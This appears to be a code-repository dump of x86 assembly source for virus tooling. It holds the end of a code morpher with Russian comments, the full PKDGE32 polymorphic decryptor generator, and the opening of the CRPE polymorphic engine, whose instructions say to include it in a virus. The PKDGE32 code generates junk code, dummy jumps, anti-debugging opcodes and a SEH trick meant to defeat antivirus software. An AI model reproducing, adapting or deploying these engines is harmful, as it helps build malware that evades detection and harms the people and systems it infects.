; Подсчитаем адрес куда указывает прыжок
push esi
call get_jump_address
;::::::::::::::::::::::::
; Занесём данные в массив
mov [ecx].dwJumpAddress, eax
pop eax
;:::::::::::::::::::::::::::::::
; Прибавим к общему размеру кода
; Длинну E9 imm32, т.е. число 5
add dwTotalCodeSize, 5
jmp @_next_inst_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; Проверим на JMP imm32
cmp byte ptr [esi], 0E9h
jne @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
jmp @_replace_instr_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; Проверим на CALL
cmp byte ptr [esi], 0E8h
jne @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
jmp @_replace_instr_
;::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::::::::
; 00Fh XX imm32
cmp byte ptr [esi], 00Fh
jne @F
cmp byte ptr [esi + 1], 080h
jl @F
cmp byte ptr [esi + 1], 08Fh
ja @F
push eax
push esi
call get_jump_address
mov [ecx].dwJumpAddress, eax
pop eax
;::::::::::::::::::::::::::::::::::::
@@:
@_replace_instr_:
;::::::::::::::::::::::::::::::::::::::::::
; Переносим инструкцию в новый буффер.
; Этот код выполниться в том случае
; Если мы не меняли оригинальные инструкции
push esi
push ecx
mov ecx, eax
rep movsb
pop ecx
pop esi
; Добавим к общему размеру кода
; длинну текущей инструкции
add dwTotalCodeSize, eax
;::::::::::::::::::::::::::::::::::::
; сюда прыгаем если мы заменили текущую инструкцию на свою
@_next_inst_:
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Разбавляем код инструкцией NOP
; Тут можно разбавлять код
; любыми "пустыми" инструкциями
; вида:
;--------------
; push eax
; pop eax
;--------------
; mov eax, eax
;--------------
; и т.д.
push eax
mov al, 90h
stosb
pop eax
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; Увеличим общий размер кода на 1 (Длинна инструкции NOP)
; Так же если будете добавлять свой "пустой" код
; Нужно будет прибавить к dwTotalCodeSize его общую длинну(!)
add dwTotalCodeSize, 1
;::::::::::::::::::::::::::::::::::::
; Перейдём к следующей инструкции
add esi, eax
;::::::::::::::::::::::::::::::::::::
; перейдём к следующему элементу
; в нашей таблице с описаниями опкодов
add ecx, sizeof _OPCODE
;::::::::::::::::::::::::::::::::::::
; Заносим новый адрес у следующей инструкции
mov [ecx].dwNewAddress, edi
;::::::::::::::::::::::::::::::::::::
; Доходим до int 3
; Это значит что код закончился....
; и следовательно нам тут делать уже нечего.
cmp byte ptr [esi], 0CCh
jne @_loop_1
; End Loop 1
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::
; Укажем что массив с описаниями закончился
mov [ecx].dwOldAddress, 0
;::::::::::::::::::::::::::::::::::::::::
; Второй этап :::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::::::::::
mov ecx, pOpcodes
@_loop_2:
;::::::::::::::::::::::::::::::::::::::::
; Если инструкция является прыжком или вызовом
; то dwJumpAddress != 0 (!)
cmp [ecx].dwJumpAddress, 0
je @F
;::::::::::::::::::::::::::::::::::::::::
; Получим новый адрес адрес куда должен
; указывать прыжок или вызов
push pOpcodes
push [ecx].dwJumpAddress
call get_new_jump_address
;::::::::::::::::::::::::::::::::::::::::
; Проверим результат на нуль.
; По идее тут проверки быть не должно
; ибо EAX (если весь код по адресу dwCodeAddress был корректным)
; никогда не будет равняться нулю
; и эти 2 строчки лишние, но мне захотелось
; всётаки их написать :)))
cmp eax, 0
je @F
;::::::::::::::::::::::::::::::::::::::::
;::::::::::::::::::::::::::::::::
; Проверим адрес какой инструкции
; нужно поменять на новый
mov edx, [ecx].dwNewAddress
;:::::::::::::::::::::::::
; Длинные условные прыжки
; 00Fh XXh imm32
cmp byte ptr [edx], 00Fh
je @_0F_XX_imm32
;:::::::::::::::::::::::::::
; Длинный безусловный прыжок
; JMP imm32
cmp byte ptr [edx], 0E9h
je @_XXX_imm32_
;::::::::::::::::::::::
; Вызов (CALL imm32)
cmp byte ptr [edx], 0E8h
je @_XXX_imm32_
;::::::::::::::::::::::
jmp @F
;::::::::::::::::::::::::::::::::::::::
; 00Fh XXh imm32
; Нам нужно заменить есстественно imm32
; что находится по смещению [АДРЕС ПРЫЖКА + 2]
; Пример:
; 00Fh 84 imm32 ; JE imm32
; 00Fh 85 imm32 ; JNE imm32
@_0F_XX_imm32:
cmp eax, [ecx].dwNewAddress
jle @_less_or_equal_1
push eax
sub eax, [ecx].dwNewAddress
sub eax, 6
mov edx, [ecx].dwNewAddress
mov dword ptr [edx + 2], eax
pop eax
jmp @F
@_less_or_equal_1:
push eax
mov edx, [ecx].dwNewAddress
sub edx, eax
neg edx
sub edx, 6
mov eax, [ecx].dwNewAddress
mov dword ptr [eax + 2], edx
pop eax
jmp @F
;:::::::::::::::::::::::::::::::::::::::::::::
; Смещение imm32 в инструкциях JMP и CALL
; одно и тоже, следовательно код обработки
; нового адреса у них можно сделать одним
; imm32 находится по смещению [АДРЕС ПРЫЖКА + 1]
; Пример:
; E9 imm32
; E8 imm32
; :)
@_XXX_imm32_:
cmp eax, [ecx].dwNewAddress
jle @_less_or_equal_2
push eax
sub eax, [ecx].dwNewAddress
sub eax, 5
mov edx, [ecx].dwNewAddress
mov dword ptr [edx + 1], eax
pop eax
jmp @F
@_less_or_equal_2:
push eax
mov edx, [ecx].dwNewAddress
sub edx, eax
neg edx
sub edx, 5
mov eax, [ecx].dwNewAddress
mov dword ptr [eax + 1], edx
pop eax
jmp @F
;::::::::::::::::::::::::::::::::::::::::
@@:
;::::::::::::::::::::::::::::::
; Перейдём к следующем описанию
; Следующего опкода :)
add ecx, sizeof _OPCODE
;:::::::::::::::::::::::::::::::::::::
; Повторяем до тех пор пока
; не наткнёмся на конец массива
; На это указывает Нуль в dwOldAddress
cmp [ecx].dwOldAddress, 0
jne @_loop_2
;::::::::::::::::::::::::::::::::::::::::
; Освободим память что занимали
invoke VirtualFree, pOpcodes, NULL, MEM_RELEASE
@_exit_:
mov eax, dwTotalCodeSize
ret
MorphCode endp
.data
; Буфер куда занесём проморфленный код
dwOutputBuffer dd 0
; Размер буфера
dwOutputBufferSize dd 0
; Кол-во байт записанных в фаил
dwBytesWritten dd 0
; Имя файлика в который запишем проморфленный код
szFileName db 'morphed_code_dump_raw.bin',0
; Текст для MessageBoxA
szComplete db 'Complete! :)', 0
.code
start:
;:::::::::::::::::::::::::::::::::::::::::::::::::::::
; Зарезервируем память для проморфленного кода
; Размер можете выставить конечноже свой
; Всё зависит от кол-ва кода что собираетесь Морфить
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
mov dwOutputBuffer, eax
;::::::::::::::::
; Морфим код.....
invoke MorphCode, offset test_code, dwOutputBuffer
mov dwOutputBufferSize, eax
;::::::::::::::::::::::::::::::::
; Дампим проморфленный код в фаил
invoke CreateFile, offset szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
push eax
invoke WriteFile, eax, dwOutputBuffer, dwOutputBufferSize, addr dwBytesWritten, NULL
call CloseHandle
;:::::::::::::::::
; Освободим память
invoke VirtualFree, dwOutputBuffer, NULL, MEM_RELEASE
;:::::::::::::::::
; Мессадж :)
invoke MessageBoxA, 0, offset szComplete, 0, MB_ICONINFORMATION
;:::::::::::::::::
; Выход)
xor eax, eax
ret
end start
; #########################################################################

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,928 @@
;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this. Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code. The generated decryptor uses random registerz, with
; junk code inserted, and it's instruction-permutable. When coding, I found
; that the name 'decrypt generation engine' is more appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
; mov Rw,offset code2decrypt ; (1)
; mov Rz,decrypt_size ; (2)
; decrypt_loop: xor byte [Rw],imm8 ; (3)
; inc Rw ; (4)
; dec Rz ; (5)
; jnz decrypt_loop ; (6)
;
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this means the we can use random registerz in the decrypt code. The engine
; can select random registerz to generate each instruction. Meanwhile, the
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
; tionz in a random order. Also, we know that some of the instructionz can be
; replaced by other instructionz that performed the same. For example, we can
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz. And of course, there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start: call setup_seh ; (1)
; mov esp,[esp+8] ; (2)
; jmp end_seh ; (3)
; setup_seh: xor Rx,Rx ; (4)
; push dword [fs:Rx] ; (5)
; mov [fs:Rx],esp ; (6)
; dec dword [Rx] ; (7)
; jmp start ; (8)
; end_seh: xor Ry,Ry ; (9)
; pop dword [fs:Ry] ; (10)
; pop Rz ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h db 90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,decryptor
; mov esi,rng_seed
; mov ebx,crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor db 40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,offset decryptor
; mov esi,offset rng_seed
; mov ebx,offset crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor, so we can fix this value after generating the decryptor. This
; means we can replace the code which to be decrypt anywhere after generating
; the decrypt code. We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h db 0
;
; gen_decrytpor: mov edi,col_code
; mov esi,rng_seed
; mov ecx,crypted_size
; mov ebx,12345678h
; mov edx,12345678h
; call __pkdge32
; fix_address: mov esi,edi
; xchg eax,edi
; stosd
; xchg esi,edi
; copy_code: mov esi,crypt_code
; mov ecx,crypted_size
; rep movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;
;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This is the main procedure of the engine. It controlz the whole generation
; process, including SEH setup, instruction generation, junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; ecx --- decrypt buffer size (counter in bytez)
; edx --- decrypt key
; edi --- pointz to the buffer to save decryptor
; ebx --- pointz to the buffer where saved the encrypted code
; esi --- pointz to the RNG seed buffer
;
; Output:
; edi --- the end of the decryptor
; eax --- pointz to the address of the code which will be decrypted in
; the decryptor, this means we can place the code which will be
; decrypted anywhere by fixing the value pointed by EAX
;
__pkdge32: pushad
xor ebp,ebp
xchg esi,edi ; initialize the RNG seed
call __randomize ; ...
xchg esi,edi ; ...
;
; First, we select four random registerz for later use. These four registerz
; are all different
;
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
call pkdg_sel_reg
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;
push edi
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0e8h ; seh instruction 1
stosb ; ...
stosd ; addr 1, no matter what, fix l8r
push edi ; save addr1 to fix
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0824648bh ; seh instruction 2
stosd ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 3
stosb ; ...
stosb ; addr 2, no matter what, fix l8r
push edi ; save addr2 to fix
mov eax,[esp+4] ; fix addr1
xchg edi,eax ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 4
and ah,7 ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,7 ; ...
shl ebx,11 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0ff64h ; seh instruction 5
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,30h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8964h ; seh instruction 6
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,20h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 7
and eax,700h ; ...
or eax,08ffh ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 8
stosb ; ...
mov eax,[esp+8] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
mov ah,bh ; seh instruction 9
and eax,700h ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,700h ; ...
shl ebx,3 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8f64h ; seh instruction 10
stosw ; ...
mov al,bh ; ...
and eax,7 ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,bh ; seh instruction 11
and al,7 ; ...
or al,58h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
add esp,8 ; balance the stack
;
; Now, generate the first two instructionz with junk codez between them, and
; permute the two instructionz in a random order.
;
mov ecx,2
call __random_rdtsc
or ecx,ecx
jz pkdg_gen_12
call pkdg_gen_1
call pkdg_gen_2
jmp pkdg_gen_f2f
pkdg_gen_12: call pkdg_gen_2
call pkdg_gen_1
;
; The last step, we generate the last four instructionz with junk codez in them
; these four instructionz must in the same order, but the registerz they use
; are still random
;
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
push edi ; save loop address
push esi
mov eax,ebx ; xor byte [Rw],Imm8
shr eax,12 ; ...
and al,7 ; ...
mov esi,[esp+28] ; ...
call __pkdge32_gen_xor_reg_imm
pop esi
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; inc Rw
shr eax,12 ; ...
and eax,7 ; ...
or al,40h
stosb
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; dec Rz
shr eax,4 ; ...
and eax,7 ; ...
or al,48h ; ...
stosb ; ...
pop eax ; jnz decrypt_loop
sub eax,edi ; get delta
dec eax ; ...
dec eax ; ...
push eax
mov al,75h ; write opcode
stosb ; ...
pop eax
stosb ; write operand
xor eax,eax
call __pkdge32_junk
mov [esp],edi ; save new EDI
popad
ret
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
mov eax,ebx ; get Rw
shr eax,12 ; ...
call pkdge32_gen12
mov [esp+32],eax ; save offset of code2decrypt
ret
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
mov eax,ebx ; get Rz
shr eax,4 ; ...
and eax,0fh ; ...
call pkdge32_gen12
ret
;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;
pkdge32_gen12: push ecx
push eax ; save mask
mov ecx,2 ; determine using MOV REG/IMM
call __random_rdtsc ; or PUSH IMM/POP REG
or eax,eax
pop eax ; restore mask
pop ecx
jz pkdg_g123_0
call __pkdge32_gen_mov_reg_imm
push edi
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
push eax
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
;
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
; make EBX to the following structure:
;
; 31 15 0
; +-----+-----+-----+-----+------+------+------+------+
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
; +-----+-----+-----+-----+------+------+------+------+
;
pkdg_sel_reg: mov eax,[esp+8] ; select random register
mov edx,8 ; ...
call __random ; ...
or al,al
jz pkdg_sel_reg ; don't use EAX
cmp al,4
jz pkdg_sel_reg ; don't use ESP
cmp al,5
jz pkdg_sel_reg ; don't use EBP
or al,8 ; DWORD type
push ebx
and ebx,0fh
cmp bl,al ; R == Rx ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,4
and ebx,0fh
cmp bl,al ; R == Rz ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,8
cmp bl,al ; R == Ry ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,12
cmp bl,al ; R == Rw ?
pop ebx
jz pkdg_sel_reg
ret
;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All the register mask in the engine (PKDGE32) measure up this formula:
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 | type |
; +-------+-------+--------+
; | x | 0 | byte |
; +-------+-------+--------+
; | 0 | 1 | dword |
; +-------+-------+--------+
; | 1 | 1 | word |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing
;
__pkdge32_test_regmask:
test ah,1
jz pkdg_trm_ret
push eax
mov al,66h
stosb
pop eax
pkdg_trm_ret: ret
;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_mov_reg_imm:
call __pkdge32_test_regmask
push esi
or al,0b0h ; generate opcode
stosb ; ...
xchg eax,esi ; EAX get the operand
shr esi,4
jc pkdg_gmri_dw ; word/dword ? byte ?
stosb ; byte
pop esi
ret
pkdg_gmri_dw: shr esi,5
pop esi
jc pkdg_gmri_w
stosd ; dword
ret
pkdg_gmri_w: stosw ; word
ret
;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_pushimm_popreg:
call __pkdge32_test_regmask
push ecx
mov ecx,esi ; save IMM in ecx
xchg esi,eax
test esi,8 ; test BYTE or WORD/DWORD
jz pkdg_gpp_b
mov al,68h ; push WORD/DWORD
stosb ; write opcode
xchg eax,ecx ; get IMM
test esi,100h ; test WORD or DWORD
jnz pkdg_gpp_w
stosd ; write operand
jmp pkdg_gpp_pop
pkdg_gpp_w: stosw
jmp pkdg_gpp_pop
pkdg_gpp_b: mov al,6ah ; push BYTE
stosb ; write opcode
mov al,cl ; get IMM
stosb ; write operand
pkdg_gpp_pop: push edi
xor eax,eax
push esi
mov esi,[esp+28]
call __pkdge32_junk
pop esi
call __pkdge32_test_regmask
xchg esi,eax
or al,58h ; generate POP opcode
stosb ; write pop REG opcode
pop eax
pop ecx
ret
;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; esi --- the immediate number
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_xor_reg_imm:
call __pkdge32_test_regmask
test al,1000b
jnz pkdg_gxri_dw
and eax,7 ; register mask
xchg al,ah
or eax,3080h
stosw
xchg eax,esi
stosb
ret
pkdg_gxri_dw: push eax
and eax,7 ; register mask
xchg al,ah
or eax,3081h
stosw
xchg eax,esi
pop esi
shr esi,9
jc pkdg_gxri_w
stosd ; dword
ret
pkdg_gxri_w: stosw ; word
ret
;
; __pkdge32_junk procedure
; ========================
;
;
; Decription
; ----------
;
; This is the junk code generator. It generatez length-spceified instructionz,
; dummy jumpz and anti-static-debugging opcodez.
;
; This procedure use EAX as junk register in order to generate instructionz
; like:
;
; mov eax,21343ab7h
; shr eax,8
; or:
; push eax
; rol eax,1
; pop eax
; etc.
;
; It generatez dummy jumpz such as:
;
; call @1
; junk
; jmp @3
; @2: junk
; ret
; @1: junk
; jmp @2
; @3: junk
;
; It also generatez anti-static-debugging opcodez such as:
;
; jmp @0
; db e9h
; @@:
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- If eax equalz to zero, the function generatez random length of
; instructionz, if eax is nonzero, the function generatez a
; certain length of instruction.
; esi --- pointz to the RNG seed buffer
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing but junk codez in the buffer that EDI specified
;
__pkdge32_junk: pushad
xor ebx,ebx
xchg esi,ebp ; let EBP hold the seed ptr.
or eax,eax ; EAX containz number from 0~7
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
mov edx,7 ; 6: generate dummy jumpz
mov eax,ebp
call __random ; ...
pkdg_js: or eax,eax ; 0: nothing to do
jz pkdg_j_ret ; just go back
xchg ecx,eax ; let ECX hold that number
cmp ecx,6
jz pkdg_j_dj
;
; Generate certain length simpile instructionz
;
pkdg_j_gclsi: mov edx,ecx
mov eax,ebp
call __random
or eax,eax
jz pkdg_j_g1b
dec eax
jz pkdg_j_g2b
dec eax
jz pkdg_j_g3b
dec eax
dec eax
jz pkdg_j_g5b
jmp pkdg_j_gclsi
;
; Generate 5-byte instruction
;
pkdg_j_g5b: call pkdg_j_5
db 0b8h ; mov eax,imm32
db 05h ; add eax,imm32
db 15h ; adc eax,imm32
db 2dh ; sub eax,imm32
db 1dh ; sbb eax,imm32
db 3dh ; cmp eax,imm32
db 0a9h ; test eax,imm32
db 0dh ; or eax,imm32
db 25h ; and eax,imm32
db 35h ; xor eax,imm32
pkdg_j_5: pop esi
mov eax,ebp
mov edx,10
call __random
add esi,eax
movsb
mov eax,ebp
mov edx,0fffffffch
call __random
inc eax
inc eax
stosd
sub ecx,5 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 3-byte instruction
;
pkdg_j_g3b: call pkdg_j_3
db 0c1h,0e0h ; shl eax,imm8
db 0c1h,0e8h ; shr eax,imm8
db 0c1h,0c0h ; rol eax,imm8
db 0c1h,0c8h ; ror eax,imm8
db 0c1h,0d0h ; rcl eax,imm8
db 0c1h,0d8h ; rcr eax,imm8
db 0c0h,0e0h ; shl al,imm8
db 0c0h,0e8h ; shr al,imm8
db 0c0h,0c0h ; rol al,imm8
db 0c0h,0c8h ; ror al,imm8
db 0c0h,0d0h ; rcl al,imm8
db 0c0h,0d8h ; rcr al,imm8
db 0ebh,01h ; anti-static-debugging instr.
pkdg_j_3: pop esi
mov eax,ebp
mov edx,13
call __random
shl eax,1 ; EAX *= 2
add esi,eax
movsw
cmp eax,24
jge pkdg_j3_anti
mov eax,ebp
mov edx,14
call __random
inc eax
inc eax
pkdg_j_3f: stosb
sub ecx,3 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
pkdg_j3_anti: mov eax,ebp
mov edx,10h
call __random
add al,70h
jmp pkdg_j_3f
;
; Generate 2-byte instruction
;
pkdg_j_g2b: call pkdg_j_2
db 89h ; mov eax,reg
db 01h ; add eax,reg
db 11h ; adc eax,reg
db 29h ; sub eax,reg
db 19h ; sbb eax,reg
db 39h ; cmp eax,reg
db 85h ; test eax,reg
db 09h ; or eax,reg
db 21h ; and eax,reg
db 31h ; xor eax,reg
db 0b0h ; mov al,imm8
db 04h ; add al,imm8
db 14h ; adc al,imm8
db 2ch ; sub al,imm8
db 1ch ; sbb al,imm8
db 3ch ; cmp al,imm8
db 0a8h ; test al,imm8
db 0ch ; or al,imm8
db 24h ; and al,imm8
db 34h ; xor al,imm8
pkdg_j_2: pop esi
mov eax,ebp
mov edx,20
call __random
add esi,eax
movsb ; write the opcode
cmp eax,10
jge pkdg_j2_imm8
mov eax,ebp
mov edx,8
call __random
shl eax,3 ; dest. operand
or al,0c0h ; ...
jmp pkdg_j2_f
pkdg_j2_imm8: mov eax,ebp
mov edx,100h
call __random
pkdg_j2_f: stosb
dec ecx ; decrease counter
dec ecx ; ...
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 1-byte instruction
;
pkdg_j_g1b: call pkdg_j_1
db 90h ; nop
db 0f8h ; clc
db 0f9h ; stc
db 40h ; inc eax
db 48h ; dec eax
db 37h ; aaa
db 3fh ; aas
db 98h ; cbw
db 0fch ; cld
db 0f5h ; cmc
db 27h ; daa
db 2fh ; das
db 9fh ; lahf
db 0d6h ; salc
pkdg_j_1: pop esi
mov eax,ebp
mov edx,14
call __random
add esi,eax
movsb ; write the code
dec ecx ; decrease counter
or ecx,ecx
jnz pkdg_j_gclsi
pkdg_j_rptr: mov [esp],edi
pkdg_j_ret: popad
ret
;
; Generate dummy jumpz. the generation formula show in the decription of the
; __pkdge32_junk procedure
;
pkdg_j_dj: mov al,0e8h ; call xxxxxxxx
stosb ; ...
stosd ; addr1, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
stosb ; addr2, no matter what, fix l8r
push edi
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0c3h ; ret
stosb ; ...
mov eax,[esp+4] ; fix addr1
xchg eax,edi ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
mov al,0ebh ; jmp xx
stosb ; ...
mov eax,[esp] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
pop eax ; pop a shit
mov eax,ebp ; some more junx
mov edx,6 ; ...
call __random ; ...
mov esi,ebp ; ...
call __pkdge32_junk ; ...
jmp pkdg_j_rptr

File diff suppressed because it is too large Load Diff

BIN
Engines/Virus.Win32.Poly.7z Normal file

Binary file not shown.

View File

@ -0,0 +1,705 @@
;-------------------------------------------------------------------------------
;
; CRPE - cH4R_ Real Polymorphic Engine
;
; by cH4R_/iKX
;
; Version: 1.5
;
;-------------------------------------------------------------------------------
; http://www.charvx.cjb.net
;-------------------------------------------------------------------------------
; LICENSE: You can do ANYTHING with this code, this code have NO WARRANTLY of
; work, and the author will NOT be responsible for damages to your machine or
; any other machine. If you will use it in your virus, just give me some
; credits, and i will be happy. ;*
;-------------------------------------------------------------------------------
;
; News:
;
; - New code layout (tabs :P)
; - Some optimizations for size and speed
; - Improved morphing & trash generation
; - A lot of bugs fixed, now CRPE is completely working !! :D
;
;-------------------------------------------------------------------------------
;
; CRPE in pratice:
;
; To use it in your virus u will have to include CRPE in your
; source (duh!). Before call the engine to make a poly decryptor,
; "YOU" will have to find a place to HASH, used obtain a the
; encryption/decryption key.
; Your code must allow 586 instructions and have about 100
; bytes of stack memory for CRPE.
;
; ------> Input (in STACK):
;
; Arg1 = [POINTER TO DATA, YOU WANNA ENCRYPT]
; Arg2 = [SIZE OF DATA, YOU WANNA ENCRYPT]
; Arg3 = [BUFFER TO CRPE SAVE "CALL + ENCRYPTED DATA + DECRYPTOR"]
; Arg4 = [SIZE OF AREA TO HASH]
; Arg5 = [POINTER TO AREA THAT WE WILL HASH]
; Arg6 = [POINTER TO AREA THAT WE WILL HASH, IN INFECTED FILE]
;
; ------> Output:
;
; EAX = Size of "TRASH + CALL + ENCRYPTED DATA + DECRYPTOR"
; * ALL other register will be restored
; ** Flags will be "corrupted"
;
; ------> Example (for dummy guys):
;
; In data section:
;
; Buf db (CRPE_max_total + SIZE_OF_YOUR_CODE) dup (0)
;
; In code section:
;
; push 00401000h ; Area to hash, in infected file
; push edx ; Area to hash, now
; push 00000200h ; Size of area to hash
; push [ebp+Buf] ; Buffer
; push CODE_SIZE ; Size of area to encrypt
; push [ebp+CODE_BEGIN] ; Pointer to area to encrypt
; call CRPE_make
;
; ------> The result will be something like:
;
; [SOME TRASH INSTRUCTIONS]
;
; [CALL POLY_DECRYPTOR]
;
; [ENCRYPTED DATA]
;
; [POLY_DECRYPTOR]
;
;-------------------------------------------------------------------------------
; -- User information to allocate memory --
; Max. size of decryptor in bytes
